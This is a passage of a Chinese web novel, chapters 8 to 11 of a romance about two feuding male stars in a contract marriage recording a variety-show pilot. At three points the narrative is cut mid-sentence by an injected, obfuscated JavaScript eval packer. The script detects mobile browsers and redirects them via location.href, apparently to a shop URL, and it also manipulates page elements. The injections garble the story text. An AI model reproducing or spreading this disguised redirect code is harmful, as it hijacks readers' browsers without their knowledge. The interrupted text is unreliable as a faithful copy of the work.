大不了易淮江也发条微博内涵他,但这狗东西动手动脚地公报私仇可就不是一码事了。 眼看着又要吵起来,两位经纪人对视了一眼,默契上前把自家艺人拉走。没过多久,一银一黑两辆保姆车便相继从地下车库驶离了木星娱乐。 而与此同时,不远处酒店的一间高层阳台上,一抹黑影一闪而过。 没过多久,微博上一个只有几百粉丝的营销号忽然发布了一条新微博。 [@吃瓜第一名:最新消息,某对大热cp疑似即将同台合作……] 虽说账号的粉丝基数小,但牵扯上最近大热CP,还是有不少吃瓜网友路过围观。 [@一花一世界:大热CP?哪对?领证的没领证,最近有什么很出圈的荧幕CP吗?] [@酒九//回复@一花一世界:嘶……你这么一问,感觉我好像猜错了,领证了是不是不算CP了?] [@江舟szd:不管了,我接接接!] [@喵喵教万岁:人呢?没后续一律当假瓜处理] 没过多久,营销号便把偷拍到的照片发了出来。 镜头中不仅有易淮江和顾听舟先后进入木星娱乐的公司大楼,还拍到了两人的保姆车一前一后离开,但除此之外并没有什么特殊之处。 不少人纷纷无语,就这种开局一张图,故事全靠编的破营销号,刷到的没有一千也有八百,有本事你倒是放点有用的证据啊? 但木星娱乐作为一家旗下艺人无数,前后捧出过数位一线明星的经纪公司,哪里有那么容易就让这些狗仔窃取到内部消息? 营销号倒是想爆点猛料,奈何木星娱乐严防死守,他也是好不容易才拍到这么点边角料。没有实锤,很快这条微博便没了水花。 8. 有完没完 《恋爱百分百》作为一档聚焦于情侣嘉宾恋爱日常的慢综,在录制档期上也安排得十分轻松,每期拍摄时长为七天,每月拍摄一次,共计四次封闭式录制,外加一期平台宣传。录制期间采用录制+直播的双平台模式,每期录制结束当天在平台更新第一集,之后以一周一更的模式,在每周六晚八点更新,一期拍摄素材分成四集播放。 而在正式拍摄之前,为了方便宣传,节目组特地安排了一次先导片的录制。 保姆车上,顾听舟摸着冰凉凉的耳坠,看了眼时间,蹙着眉催促司机再开快点。 “再快就要起飞了祖宗。”威廉把车内的挡板升起来,试图物理隔绝顾听舟催促司机师傅赶路,“我看着时间呢,离节目组约的时间还有半小时,就算一路红灯也绝对不会让你迟到的。” “……” 顾听舟的视线掠过窗外飞驰的车流,问道:“还有多久能到?” “大概还要十分钟吧,这个点比较堵,路上再碰上几个红灯的话,没那么快到。” “可以。”顾听舟点点头,强调道,“至少提前十五分钟到。” 坐在威廉旁边的助理陶南跟着转过头,好奇道:“舟哥是有什么急事吗?” 顾听舟“嗯”了声,把手机揣回兜里,往椅背上一靠:“很急,非常急。” 威廉更迷茫了:“那也不对啊,上车前我不是问过你要不要上厕所吗?” 顾听舟一噎:“不是这个急!我只是赶时间,你在想什么东西啊!” “那还能是什么?拍个宣传片而已,最多就是化个妆做个发型,我们连服装都是自备的,花不了多少时间啊。” 顾听舟按了按眉心:“……因为易淮江。” “反正我这次肯定要比他早到。” 陶南好奇心控制不住地往外冒:“舟哥,那为什么一定是十五分钟啊?十分钟不行吗?” “不行。”顾听舟坚定道,“易淮江绝对会提前十分钟到录制现场,我才不要和他一起到。” 陶南一脸的恍然大悟,等到转回脸才克制不住地死死抿住了唇角。 她前些日子请了假,这周才刚刚回到工作岗位,却没想到,不过是两周没见,她的老板竟然直接闪婚了,而且闪婚对象还是众所周知不近美色的高冷影帝! 不论是作为一名资深同人女,还是一名合格且专业的助理,凭借着敏锐的第六感,哪怕在威廉哥的提醒下知道这两人是协议结婚,陶南也直觉他们绝对没有看起来那么简单。 就比如现在,作为从工作室成立起就一直跟着顾听舟的助理,她确定一定以及肯定,在这之前,顾听舟绝对没有和易淮江一起上过节目。 那么,这个“提前十分钟到场”的习惯,她舟哥又是怎么知道的? * 见多了稍微有点名气就耍大牌摆架子的艺人,工作人员似是没想到顾听舟一行人竟然来得这么早,微微惊讶后又连忙收敛了表情。 工作人员身上挂着工牌,一边带着顾听舟几人走往里走,一边说:“真是不好意思顾老师,待会上台要用的麦出了点问题,要麻烦您和我先去趟录播室。” 顾听舟点点头,却听见工作人员继续道:“说起来顾老师和易老师的感情真好,连做事习惯都这么像,易老师也是提前过来的,要不是他提早到,我们也来不及处理随身麦的问题。” 顾听舟一愣:“他已经到了?” 工作人员:“是啊。易老师的录制档期比您早半个小时,为了错开单人采访的拍摄时间……顾老师不知道吗?” 顾听舟:……我倒是不想知道。 但以他俩已婚夫夫的身份看,他刚刚才问了问题,下一秒就说自己知道,但凡长了个脑子都能看出不对劲。可说不知道,已经结婚了的伴侣受邀上同一档节目,同一天的拍摄,连档期都只差了半个小时,他却不清楚易淮江的行程,听起来似乎更有问题了。 顾听舟在心里把易淮江反复/鞭/尸十几次,背手精准拽住了威廉的袖子。 威廉连忙站出来接话:“听舟这几天一直在外地忙剧宣,中午赶的最近一班飞机回来,没怎么休息好。” 工作人员本来也是随口一提,闻言点点头,不疑有他。 说话间,几人已经来到了录播室的门口,工作人员推开虚掩着的门,钻进去和正在忙碌的其他同事沟通。 录播室的房间不大,顾听舟站在门口,身形高挑挺拔,气质又格外出众,简直是自带聚光灯,正在台上接受采访的易淮江一眼就看见了门口处站着的青年。 顾听舟今天穿了件露腰的白色针织衫,领口和腰间在设计师的剪裁下,恰到好处地露出半截精致漂亮的锁骨和细韧瘦白的腰。外搭一件oversize的浅咖色外套和同色系低腰直筒裤,一如既往的招摇。 顾听舟也瞬间锁定了坐在台上的易淮江,两人视线陡然相接,顾听舟双手抱臂环胸,一副“我就是来找茬”的姿态站在门外,朝着易淮江扬了扬下巴。 看你大爷。 易淮江虽然不知道发生了什么,却也差点要被他这幅不可一世的嚣张架势气笑了,恰巧主持人在此时开了口:“那么最后一个问题,请易老师用一个词形容对顾老师的第一印象。” 易淮江抬眼,一双狭长的凤眸遥遥望向还在门外站着的顾听舟,眉尾轻挑。 求我? “随您的便。”说的好像他缺这几句好话似的。 顾听舟毫不费力地解读出了他眼神里的意思,没好气地哼了声,当即扭头不再看他。 灯光下,银制的细链勾着水滴形的鸽血红宝石,一长一短,随着顾听舟扭头的动作在空中晃动,跃动着的霓虹莹光十分抓眼。 易淮江的视线从那张脸上缓缓偏移,落在了那两颗红宝石上。浓郁纯正的血红色宝石缀着银链,在修长白皙的颈间轻晃,明明是极其难以驾驭的颜色,在此刻却反而成了陪衬。 “漂亮。” 极其肤浅的表达,易淮江却不由自主地脱口而出。如果忽略某人不知道因为什么被点着的隐约怨气,光看这张脸,倒也确实是赏心悦目。 主持人抿唇一笑:“没想到易老师竟然也是个颜控……” 呵呵,易淮江要是颜控,那这世界上就再没有比他更铁石心肠的人了,顾听舟在心底默默翻了个白眼。 把某人隐隐透着威胁意味的眼神尽收眼底,易淮江依旧不动声色。两人隔着一段距离遥遥相望,顾听舟眼底满是对这人臭不要脸演戏的鄙夷,两道目光之间的斗争异常焦灼。 “好了好了不要再眉来眼去了,先去做妆造。”威廉一把把人拉走。 顾听舟:?? 他是在战斗!谁和易淮江眉来眼去了!那人挑衅他挑衅得还不够明显吗! 但一路上都是工作人员,顾听舟有口难言,只能在心底忿忿地扣威廉这个月的奖金。 * 易淮江回到休息室时,顾听舟已经坐在了化妆镜前,正闭着眼偷懒。 化妆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16842511|191342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师见还没来得及开口,就见易淮江率先摇了摇头,接着双臂环胸倚在了化妆桌旁,好整以暇地垂眸看向顾听舟。 顾听舟似有所察,额角微抽,忽得开口:“再看收费。” “我看什么了?”易淮江瞥了眼一旁的摄像机,故意道,“舟舟,讹人不是这么讹的。” 顾听舟:“……”这熟悉的欠揍感。 顾听舟睁开眼,果不其然看见了站在边上的男人,他抬手指了指一旁的摄像机,冷哼道:“人赃并获,你再装一个试试?” 趁着化妆师换刷子的间隙,易淮江踱步走到了顾听舟身后,垂眸和镜子里的他对视,顾听舟没好气地瞪他一眼。 又想干嘛? 易淮江挑了挑眉:你猜? 顾听舟送他两个难得含蓄的白眼:你再招惹一下试试? 易淮江看他这副在摄像机面前想发作又不敢发作的模样,忽然涌上几分恶趣味:“不是要算账,怎么又不说话了?” 顾听舟顶了顶腮帮子,懒得搭理这人。 见顾听舟沉住气不跟他吵,只旁若无人地盯着化妆镜,易淮江反而不乐意了,紧接着,面前的化妆镜里便闯入了一只骨节分明的手。 顾听舟下意识往后躲,却被椅背拦住去路,一时间进退不得,唯有左耳上两颗红宝石不合时宜地轻颤。 修长的指节微微屈起,顶着那双琉璃眼中警告似的威胁目光,易淮江目标明确地勾住了那两颗晃个不停的红宝石。 耳坠上还沾着温热的体温,冰凉的指节划过,宝石的光映在指腹上,在镜中像是被隐约染上一层薄薄的血色,仿佛正隔着宝石汲取着另一人的体温。 他的动作慢条斯理,微垂的眼睛却一瞬不瞬地盯着镜子里的顾听舟。 “舟舟。” 串连着宝石的银链极其细微地动了下,易淮江愈发得寸进尺,又叫了他一声:“生气了?” “没、有!”顾听舟扯起嘴角,“我怎么会生气呢。”只是手有点痒,想把你团吧团吧当沙包丢出去……而、已。 瞟了眼面前还极其转注地在一堆化妆品里搜寻目标的化妆师,顾听舟抬眸瞪向某个故意凑过来欺负他不能动的家伙。 你有完没完了? 当然没完。 易淮江的唇角勾起点微不可查的弧度,垂眸挑起细白的银链,动作亲昵,指尖更是有意无意地擦过他发烫的耳垂。看着顾听舟眼里腾地燃起的火焰,心情愈发舒畅。 没完自己上一边玩儿去。 顾听舟终于忍不住抬手把那只为非作歹的手一巴掌拍开,瞄了眼摄像机,伸手在化妆镜前找了个能被自己挡住的角落,动作标准地给身后的某人比了个中指。 滚蛋。 他动作幅度很小,位置找的也隐蔽,从摄像机的方位根本拍不进去,但作为经纪人在一旁陪同的威廉却一眼就瞥见了自家祖宗偷偷摸摸的小动作,吓得捂嘴疯狂咳了好几声提示。 顾听舟还有账没和他算,同样不想搭理他,但眼看着化妆师即将转身,他也没再坚持,没等他收回手,一只冰凉凉的手掌忽然从身后探过来,不偏不倚地把他还没来得及收回去的手指压了回去。 “我去沙发上等你。” 易淮江朝镜子里眼神复杂得都能刷弹幕的顾听舟微微颔首,云淡风轻地离开了这片无声的战场。 顾听舟瞪着他从容不迫的背影,恶狠狠地用另一只手使劲搓了搓自己的手背,趁机膈应人是吧? 有种给我等着! 9. 夸你大爷 化妆师眼观鼻鼻观心,觉得自己像只一百八十瓦的大功率电灯泡,默默捧着终于找到的散粉,转身走回到顾听舟身边。 顾听舟是得天独厚的标准白皮,不仅皮肤白皙,皮肤状态也好得让人羡慕,哪怕凑近了也看不见什么毛孔,对一个给无数人上过妆的化妆师而言,简直是理想中的完美模特。 考虑到白皮用粉霜反而显假,最终也只给他上了一层浅浅的打底,化妆师举着粉扑的动作娴熟又愉悦,半晌,还是没忍住感慨了一句:“顾老师这张脸,感觉完全没有我的用武之地啊。” “谢谢。”顾听舟半点不客气,说话却能稳稳地甜到人心里,“能替你们减少工作量也是我的荣幸。” 花言巧语。坐在角落沙发上等待的易淮江无声轻嗤。 顾听舟从小就很会卖乖,虽然脾气不小,可撒娇耍赖的本事却也是炉火纯青。他像是知道自己长得好看,一看情况不妙,就仰着那张光是看着就能让人心一软的漂亮脸蛋甜甜一笑,不管是自己爸妈还是他爸妈,没人能逃过他的攻势。 唯独在和他从小就不对付的易淮江面前,顾听舟从不收敛脾气,怎么吵得厉害怎么来。 易淮江敛眸,视线落在指尖,一时没忍住,他似乎把某个本就有点躁的人彻底惹毛了。 化妆师被顾听舟逗得止不住笑,过了会儿后忽然有些惊讶地“欸”了一声。 “顾老师你这儿竟然有颗痣,就在这个位置。”化妆师的语气略带惋惜,用化妆刷的软毛轻轻扫了扫那一小片眼皮,一颗小小的红痣靠近眼睫,不偏不倚地藏在了双眼皮的那道线上,不仔细看根本发现不了,“太可惜了,要是往上长一点,平时睁着眼睛也能看到了。” 红痣的颜色很漂亮,不注意看或许还会以为是不小心沾上去的颜料,安安静静地缀在薄薄的眼皮上,红白相称,着实吸睛。 “要把它点亮一点吗?”化妆师自然而然地问。 明星需要上镜,化妆自然是越好看越引人注目越成功。有些明星的痣颜色很淡,但位置长得很好,化妆师就会根据需求在上妆后额外补色,突出艺人的特点。 像顾听舟这样的顶流,自然用不着这颗痣为他拉拢颜粉,但为了以防万一,化妆师还是问了句。 顾听舟依旧闭着眼睛:“不用。长得那么偏,看不见就看不见吧。” 化妆师笑:“现在可多小姑娘喜欢这种痣呢,要是能被看到估计顾老师又要上一回热搜。” 顾听舟笑了声:“可别,这时候上热搜,谁知道是夸我的多还是骂我的多。” 易淮江坐在沙发上,视线微转,落在了那人的侧脸。化妆师说话时并没有刻意压低声音,他哪怕坐远了也多少能听见一点。 算起来,那颗痣还是他最先发现的。 * 做完妆造,很快顾听舟便被工作人员带去了录播间进行单采。流程很简单,问的问题也都很常见,顾听舟觉得自己也就上去做了个自我介绍,随便发挥了两句,单人采访就结束了。 他还以为能趁着单采报仇,结果到结束都没能抽到什么能让他好好“发挥”的题目。 带着点憋闷的心情,顾听舟跟着工作人员来到了另一个录播厅。 比起单采的录播室,录播厅不仅空间上宽敞许多,装潢和布置也更加精致,连背景墙都挂上了《心动百分百》的专属logo。 而在主持人的身旁,还立了个等高的电子屏幕,正面朝着对面的嘉宾席。 看着这房间里错落有致的粉白色鲜花和气球,顾听舟唇角忍不住抽了抽。但想到易淮江那张冰块脸,他又忽然生出点恶趣味。 顾听舟仔细回忆了一下,某人似乎还真没穿过这种颜色的衣服。冰块脸配樱花粉,啧啧啧,那场面,光是想想他都能猜到易淮江的脸能冻成什么样子。 肩头倏然一沉,一只手握着他的肩膀骤然往后一拉,顾听舟正出着神,被这一下带得一个趔趄,不偏不倚地撞上了身后某个钢板似的人怀里。 杜松独特的木质辛香混杂着薄荷独特的冷冽在瞬息间从身后扑来,几乎将他团团围住,也冰得他跑神的大脑骤然清醒。 这味道太熟悉,下一秒顾听舟就皱着眉要退开,却没想到易淮江原本握在他肩头的手顺着脊骨往下一滑,落在了他腰间:“看路。” 和香水如出一辙的冷淡嗓音随之响起,顾听舟一愣,这才发现自己面前横亘着一捆电线,和他只差半步的距离。 顾听舟还记着他刚刚在化妆间故意招惹自己的仇,只当看不见他,闷头继续往前走,腰间却猝然一紧。 某人的手还握着他的腰不放。 “爪子,撒开。”顾听舟睨了他一眼。 易淮江微微低头,对上那双琉璃眼,故意道:“不放会怎么样。” 顾听舟背朝着摄像机,闻言露出个威胁意味十足的假笑:“你猜?”紧接着干脆利落地拍落了易淮江的手。 易淮江看着他明晃晃写着“我就是要跟你算账”的背影,额角跳了跳,心底不太妙的预感愈发深切。 大摄影棚内的设备早已经调试完毕,主持人站在台前,主持人业务熟练地念完一串品牌名后,把顾听舟和易淮江请到了台上。 “为了增强观众朋友们的参与感,我们这次的双人采访将会实时从评论区抽取三个粉丝评论作为题目。”主持人宣布规则,“绝对公平公正!” “友情提示,每道题最好都认真回答,说不定会有加分哦。” “加分?”顾听舟警觉,“有什么用?” 主持人守口如瓶:“暂时保密。” 随着台下工作人员给出“OK”的手势,主持人打开了投屏,很快屏幕上便出现了《心动百分百》官博的评论区。 节目组很会造势,官博的粉丝数量只多不少,再加上微博中提及的互动玩法,更是吸引了不少路人围观,评论区热闹非凡。 “第一题……其实我也很好奇这个问题的答案。”主持人侧首望向他们,“请问两位老师的吵架频率大概是?” 顾听舟:“随时随地。” 易淮江:“……” 顾听舟扫了眼还没来得及开口的易淮江,谁还不会搞事情了? 主持人眼里的好奇反而更浓了:“这么高的吵架频率,两位老师方便透露一下吵得最多的问题是什么?” 顾听舟瞥了眼她身边亮着的屏幕:“这个能额外加分吗?” 主持人严谨道:“谨代表我个人以及或许会感兴趣的观众朋友们友好发问。” 顾听舟摊手:“数不清,反正什么不能吵?” “哈哈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16842512|191342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 俗话说得好,打是亲骂是爱,看来我们两位老师的感情确实很好呢。”主持人也没料到这对新婚夫夫会是这么个画风,“让我们接着看第二题——请问两位老师最喜欢对方身上的哪个部位?” 屏幕上被点开的评论末尾还带了个极为显眼的狗头,楼中楼更是一水的狗头。 顾听舟:“……” 有了之前夜半微博评论区的前车之鉴,他也算是对这些CP粉们的思路有了个大致了解。你这个部位……它是正经部位吗? 正不正经暂且可以不论,但顾听舟看着屏幕上方方正正的“喜欢”二字,陷入了长久的沉默。但凡问的是最讨厌的部位呢?易淮江那张能气死他的嘴绝对是当之无愧的第一名。 可论喜欢……首先“喜欢”这个词就根本不会出现在他和易淮江这个人之间好吗! 见顾听舟皱着眉似乎有些艰难,主持人十分有眼力见地望向了在场的另一位嘉宾:“易老师有答案了吗?” “眼睛。” 易淮江面上不动声色,一只手却绕到两人身后,屈指敲了敲顾听舟后腰。他动作放得很轻,从镜头中根本看不出半点端倪,顾听舟却被这两下碰的腰眼一麻,忍不住瞪了过去,原本随意搭在沙发上的左手立刻背到身后,一把捉住了根本没想跑的罪魁祸手。 易淮江在他手背上点了点:商量一下? 顾听舟不为所动,逮着那只手反扣在沙发靠背上,若无其事地往后一靠,两条长腿交叠,看起来像是坐累了换了个姿势,实际上只有沙发上的两位自己清楚,顾听舟正把那只作乱的手当做靠枕垫在背后,压得他动弹不得。 “顾老师的眼睛确实很特别,浅瞳本来就少见,像顾老师这样淡的瞳色就更难找了,相信很多小纸船也像易老师一样,对这双眼睛记忆深刻。” “顾老师想得很认真啊,是易老师优点太多不好选吗?”主持人把控着时间,估摸着应该差不多了,这才把话题引到了顾听舟身上。 顾听舟忙着和身后那只手斗智斗勇,闻言顿了顿,略有些心虚地把视线飘到了易淮江身上瞪他:想不出来,你自己编一个。 易淮江挑了下眉,接收到某人试图抄现成答案的讯号,空着的左胳膊靠在沙发扶手上,动作随意地在身前一划:随便夸。 果然下一秒就见顾听舟翻了个不明显的白眼把头扭了回去。 夸你大爷。 “脸。”顾听舟缓缓呼出一口气,报了自己的答案。 主持人显然有些意外:“脸吗?这个答案确实有点意外啊,没想到我们顾老师竟然也是颜控。” 主持人:“之前网上总是在传你们关系不合,这么看来,其实两位老师对对方还是很有好感的嘛,毕竟对方的脸都很对自己的审美……” “等一下,我觉得好像有点误会。”顾听舟忽然出声,打断了主持人对这个看起来十分肤浅的答案进行升华解释,他唇角微勾,眼底的逆反意味一闪而过,“我说的''脸'',不是在说易淮江的长相。” “我的意思是,这个人的脸皮太厚了。” 顾听舟背在身后跟易淮江共沉沦的左手隐隐有些发麻,他却没有要松手的意思,反而扣着那只手往上攀了点,食指落在突出的腕骨上,呛声似的回敲了他两下。 “我、很、喜、欢。” 10. 关系一般 以防这两位再给出什么奇奇怪怪的解释,主持人打着哈哈迅速跳过了这一题。 主持人:“最后一道——如果要搞动物塑,会觉得对方像什么动物?” 主持人在两人之间来回看了会,留足了时间才问道:“易老师有答案了吗?” 易淮江垂了垂眼,余光中,那两颗红宝石还在轻晃,让人根本无法忽视它们的存在。 “孔雀。”一样的花枝招展。 “很引人瞩目。”想忽视都难。 主持人看向顾听舟:“顾老师觉得怎么样,这个答案有说到你的心上吗?” “一般。” 主持人刨根问底:“那是喜欢还是不喜欢呢?” 顾听舟挑刺:“我觉得花豹也很漂亮。” “那就是不太满意喽。”主持人揶揄,“易老师下次可以抄抄标准答案。” “那么顾老师的答案呢?” 顾听舟想了想,把易淮江比作乖巧软萌的小动物,实在是过于昧着良心,光是这张冰块脸就足够违和。但非要让他说易淮江像狮子老虎之类的,感觉又挺对不起这些猛兽的。 毕竟都没有易淮江讨厌。 纠结了半晌,顾听舟才道:“……蛇吧。” 主持人尝试理解:“比起略早一些的危险印象,其实这些年来,养蛇当宠物也还算常见。难不成易老师私下其实很粘人?” 顾听舟他的理由很简单:“因为他冷。” “不管什么时候,这人都像是冰块成精,夏天也是。到了冬天就更吓人了,碰哪都冻。” 其实最主要是嘴毒。他曾经还认真思考过易淮江有没有可能因为咬到舌头而被自己那张嘴毒死。 答案虽然有些冷门,但解释的理由十分的合情合理,主持人恍然大悟:“易老师对此有什么感想?” 易淮江:“我觉得我还有的救。” 右手终于被松开,易淮江施施然收回手,偏头看向顾听舟:“起码给我找个恒温动物?” 主持人看热闹不嫌事大:“看来易老师对这个答案也不太满意啊。” “三个问题全部回答完毕,那么接下来就是我们双人采访的最后一个环节了,有请我们的工作人员上台。” 随着主持人话音落下,戴着口罩的工作人员推着一个挂满了花里胡哨道具的移动衣架停在了舞台后方。 主持人向镜头展示了一圈架子上的各色道具,墨镜、帽子,手串,还有各种稀奇古怪的发夹和项链:“这个环节非常简单,两位老师需要用这些道具打扮对方,再以新造型完成情侣默契五连拍。” “每次按动快门时,我会随机报出一个动作,两位老师则需要及时作出对应动作,动作同步率越高越好哦。”主持人微笑,“限时五分钟,两位老师可以开始给对方挑选拍摄道具了。” 易淮江跟在顾听舟身后,领口别着的微型话筒被他他堵住了收声孔:“初初,商量一下?” 顾听舟拿了个宕机样式的发夹,头也不回:“早干嘛去了。” 易淮江低声,“你经纪人在台下快气晕过去了。” 顾听舟顺着他的视线瞥了眼已经蹲角落长蘑菇了的威廉,光是那破碎的背影就显得万分萧瑟。 “彼此彼此。” 易淮江那个经纪人不也蹲在威廉身边?剩陶南一个小姑娘格外坚强地安慰着两个快被自家艺人气心梗了的经纪人。 顾听舟斜眼睨他:“反正不是我挑的头。” “暂时休战?”易淮江提议,“先把综艺解决。” 勉强算是报了仇,又是易淮江主动开口“求和”,顾听舟身心舒畅,当即矜持地点了点头。 五分钟的准备时间不算长,两人动作飞快地扯了几个挂饰往对方身上堆,踩着五分钟的倒计时回到了舞台前方。正准备好好发挥一番演技,却没想到人算不如天算。 顾听舟直到今天才知道他俩二十年来非要对着干的习惯有多么的深入骨髓。主持人每次都卡在按下快门的前一秒报动作,两人一齐站在镜头前时,余光不自觉将某人的动作收进眼底,紧接着身体先于大脑做出反应, 五连拍,次次失败,简直毫无默契。 累了。 毁灭吧。 顾听舟瘫在保姆车后座,俨然退化成了一条柔弱不能自理的咸鱼。 双人采访的拍摄要求虽然简单,但为了保证成片效果和时长,采访的内容很是丰富。等两人彻底结束拍摄准备离开时,天色已经彻底暗了下来。 一下午都没来得及抽空吃东西,威廉生怕他低血糖,一手端着才买来的还冒着热气的拇指生煎包,一手捧着杯热奶茶忙不迭凑到了他身边。 顾听舟犯懒时十足的少爷做派,顽强地仰头喝了满满一大口奶茶,紧接着就又仰头瘫了回去,一副彻底与世无争的放空姿态,磨磨蹭蹭地嚼着珍珠。 “不会真低血糖了吧?”威廉拿签子扎了只生煎喂到他嘴边,“来来来,张嘴。” 顾听舟从善如流地叼走,继续面无表情地嚼嚼嚼,等到那几缕热气终于慢吞吞地落进肚子里,才总算缓过神。 “低血糖倒是不至于。”顾听舟接过竹签,从塑料盒里扎起一只生煎,“但我觉得现在能生吃一头牛。” 回忆起拍摄过程,顾听舟只觉得心梗:“易淮江那边确定上完恋综就能进组拍戏吗?他要是演不出来夏导要的感觉,我岂不是要一直跟他绑定?” 顾听舟忍不住给威廉打了一剂预防针:“要不让公关部再多买点水军?” 威廉捂着自己脆弱的心脏,试图挽救:“舟舟,你和易影帝……”他用食指和拇指比出一段几乎可以忽略不计的距离,“真的没有一点点点,冰释前嫌的可能性吗?” “没有。”顾听舟铁石心肠地戳破了他的美好愿景,一边吩咐司机开车回家,一边随口道,“我觉得,你与其希望我跟易淮江‘冰释前嫌’,还不如许愿易淮江脑子进水忽然爱我爱到不能自拔,为求原谅终于抛弃卷王本性选择认输。” 威廉:“……” 他怀疑有人在这段许愿内容里夹带私仇。 司机收到顾听舟的吩咐,当即点火挂挡,动作娴熟地开出了停车场。 视线陡然开阔,车道两旁的霓虹灯闪着五颜六色的光,把夜色都照得分外明亮。 威廉瞟了眼后视镜,后知后觉:“我们是不是应该在车库等会?” “等谁,易淮江?”顾听舟撩起眼皮,“等他干什么,他自己没车?” 一场拍摄下来,他家艺人对结婚对象的意见似乎更大了,威廉识趣地选择闭嘴。 等把一笼生煎吃完,顾听舟捧着热奶茶从口袋里摸出手机,这才发现易淮江给他发了消息。 【氧化氢】:在哪? 顾听舟咬着奶茶的吸管,单手慢悠悠地打字:“路上,干什么?” 对面回了个言简意赅的句号,然后便没了下文。 “搞什么?” 这人出现得莫名其妙,消失得也莫名其妙,顾听舟忍不住皱眉,懒得搭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16842513|191342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理他,直接退出了聊天界面。 与此同时,地下车库的另一辆保姆车里,手机屏幕被同步熄灭。 “他们已经走了。”易淮江言简意赅。 白朝彩无奈:“行吧,那等回去之后我再找威廉聊一聊。问题只要发现了就总有办法解决。” 夜里的车流比白天稀疏多了。白朝彩跟着导航的语音提示在又一个十字路口左拐,迟疑道:“新助理这周应该就能到位,你和顾听舟的事,你准备怎么办?” 易淮江和木星娱乐的经纪约到期后就成立了独立工作室,顺便把他这个经纪人也捞了出来。但招来的助理总是不合适,以至于他这个经纪人还总是要兼职司机。如果和新助理明说,难保不会出问题。 车窗外的路灯不断向后飞驰,易淮江垂眸,光影在他脸上交织出晦暗交织的分界线,衬得那张俊脸愈发冷淡。 “不用说。” 白朝彩点点头:“也好,这事还是越少人知道越好。” 白朝彩把着方向盘,顿了顿还是忍不住问:“虽然有点不礼貌,但我还是想多嘴问一句,你和顾听舟从小一起长大,到底是怎么就成了死对头的?” “我原先想,要是你们实在演不了恩爱模范,找点营销号和水军洗成相爱相杀也没有问题。但见过本人后,他也不像传闻里那样高高在上喜欢耍大牌,威廉和我聊起他时也总说他只是小孩气比较重。按你平时的脾气,不应该对他这么特殊对待。” “我平时的脾气?” “你们两个自己没感觉吗?”白朝彩看了眼后视镜,“粉丝的评论总看过吧,简单概括就是说你高冷,说他傲娇,这评价其实蛮中肯的。” “但问题的关键就在于,不管是你还是顾听舟,每次碰上对方,你俩就跟换了个人似的怼来怼去,说是死对头,但更像是闹别扭的小学生。” 易淮江:“……我没有。” 白朝彩摆出事实:“第一次见面签合同那次,虽然是你最后妥协是因为对赌协议,但你看见顾听舟之后为什么不走了?” “你还总是对人家动手动脚,上次签恋综合同,还有今天的拍摄,你一个拍戏都不拍亲密戏的人,你光逮着顾听舟一个人欺负?” 易淮江抬眼看他:“你是哪边的?” “我说的都是实话。”白朝彩无奈,“虽然我不太清楚你们这二十年到底发生过什么,你俩到底是怎么成为‘死对头’的,但作为旁观者,我真的觉得你们两个的关系真的不至于差到这个地步。” 易淮江:“只是因为家长关系很好,我们不想让家长为难。” “所以你们在家长面前其实关系还不错?”白朝彩一抓住重点。 “一般。” 白朝彩:“……” 白朝彩叹了口气:“这次拍摄其实能看出挺多问题的。如果直接这么上节目,后期公关部肯定会越来越忙。我之前提的建议你可以再考虑考虑,如果他也愿意,你俩好好磨合一段时间,以你们的演技装一对普通小情侣完全没有问题。” “二十年挺长的,如果不是什么不共戴天的深仇大恨,或许可以试试说开。” 车已经驶离市中心,偏僻的车道上连灯都只有零星几盏,白朝彩试图从后视镜看后座上的人,却怎么也看不清他的神情。 他点到即止:“其他导演递来的本子我会多留点心,可以再等一等。夏导那边我也会随时留意情况,如果能说动夏导直接开机让你进组当然是最好……如果不能,你自己也要做好心理准备。” 11. 同居邀请 回到在万华湾的住宅时,已经是晚上九点。易淮江洗漱完换了睡衣,带着一身水汽走进书房。 书架上的各类书籍和资料被按高矮排列得井然有序,书桌上的文件也被立式文件夹分置规整,井井有条。易淮江抬手抽出夏导送来的剧本,垂眸看着纸页上密密麻麻的台词。 金木奖的评奖标准更注重情感的细腻刻画,尤其偏好小众题材的文艺片,对演技和剧本的要求都格外严苛。 夏导这次的剧本显然是奔着金木奖去的,主角的感情戏虽然着墨并不多,可每一笔、每一点感情的转折都十分扣人心弦。 屈起的指节不轻不重地在桌面叩出规律的声响,一声一声,仿佛遥远又沉重地钟响,一下一下敲在他心头。 他在犹豫。 平心而论,夏导的电影是他最稳妥的选择,由夏导亲自操刀、拍摄的电影,前期的入围提名几乎是板上钉钉。但夏导提出的问题却也一针见血。 